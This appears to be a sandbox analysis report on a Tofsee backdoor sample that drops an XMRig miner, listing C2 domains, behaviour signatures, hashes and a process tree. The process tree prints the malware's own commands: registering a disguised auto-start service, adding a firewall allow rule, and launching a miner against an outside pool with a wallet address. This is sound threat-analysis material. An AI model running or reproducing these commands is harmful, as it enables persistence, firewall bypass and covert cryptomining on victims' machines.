Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    18/12/2022, 17:16

General

  • Target
    file.exe
  • Size 215KB
  • Sample221218-vs4xtsda33
  • SHA256 e13ff202b3aa06b39b137ec1e7a8ecfdb16ba4730d7292c28f46bb2d5d503e48
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1200
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\sdstjwrq\
      2⤵
        PID:268
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\dauvsaqx.exe" C:\Windows\SysWOW64\sdstjwrq\
        2⤵
          PID:1472
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create sdstjwrq binPath= "C:\Windows\SysWOW64\sdstjwrq\dauvsaqx.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1112
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description sdstjwrq "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1764
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start sdstjwrq
          2⤵
          • Launches sc.exe
          PID:588
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2028
      • C:\Windows\SysWOW64\sdstjwrq\dauvsaqx.exe
        C:\Windows\SysWOW64\sdstjwrq\dauvsaqx.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:632
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:816
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
              PID:1484

        Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

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              Downloads

              dauvsaqx.exe

              • Path C:\Users\Admin\AppData\Local\Temp\dauvsaqx.exe
              • Size 11.0MB
              • SHA256 48ce2d27afaefa837d9e429ade7b1ef501403606da10838fa3f284307c39eed3
              • MD5 SHA1 SHA512 SSDEEP

              dauvsaqx.exe

              • Path C:\Windows\SysWOW64\sdstjwrq\dauvsaqx.exe
              • Size 11.0MB
              • SHA256 48ce2d27afaefa837d9e429ade7b1ef501403606da10838fa3f284307c39eed3
              • MD5 SHA1 SHA512 SSDEEP

              memory/632-81-0x00000000005F8000-0x0000000000609000-memory.dmp

              memory/632-82-0x0000000000400000-0x0000000000460000-memory.dmp

              memory/632-77-0x0000000000400000-0x0000000000460000-memory.dmp

              memory/632-75-0x00000000005F8000-0x0000000000609000-memory.dmp

              memory/632-70-0x00000000005F8000-0x0000000000609000-memory.dmp

              memory/816-84-0x00000000019B0000-0x0000000001BBF000-memory.dmp

              memory/816-96-0x00000000053F0000-0x00000000057FB000-memory.dmp

              memory/816-110-0x0000000000080000-0x0000000000095000-memory.dmp

              memory/816-99-0x00000000000D0000-0x00000000000D7000-memory.dmp

              memory/816-93-0x00000000000C0000-0x00000000000C5000-memory.dmp

              memory/816-90-0x00000000000B0000-0x00000000000C0000-memory.dmp

              memory/816-87-0x00000000000A0000-0x00000000000A6000-memory.dmp

              memory/816-72-0x0000000000080000-0x0000000000095000-memory.dmp

              memory/816-74-0x0000000000080000-0x0000000000095000-memory.dmp

              memory/816-83-0x0000000000080000-0x0000000000095000-memory.dmp

              memory/1200-68-0x0000000000400000-0x0000000000460000-memory.dmp

              memory/1200-55-0x0000000075AC1000-0x0000000075AC3000-memory.dmp

              memory/1200-59-0x0000000000400000-0x0000000000460000-memory.dmp

              memory/1200-54-0x0000000000538000-0x0000000000549000-memory.dmp

              memory/1200-58-0x0000000000220000-0x0000000000233000-memory.dmp

              memory/1200-67-0x0000000000538000-0x0000000000549000-memory.dmp

              memory/1200-57-0x0000000000538000-0x0000000000549000-memory.dmp

              memory/1484-102-0x0000000000170000-0x0000000000261000-memory.dmp

              memory/1484-104-0x0000000000170000-0x0000000000261000-memory.dmp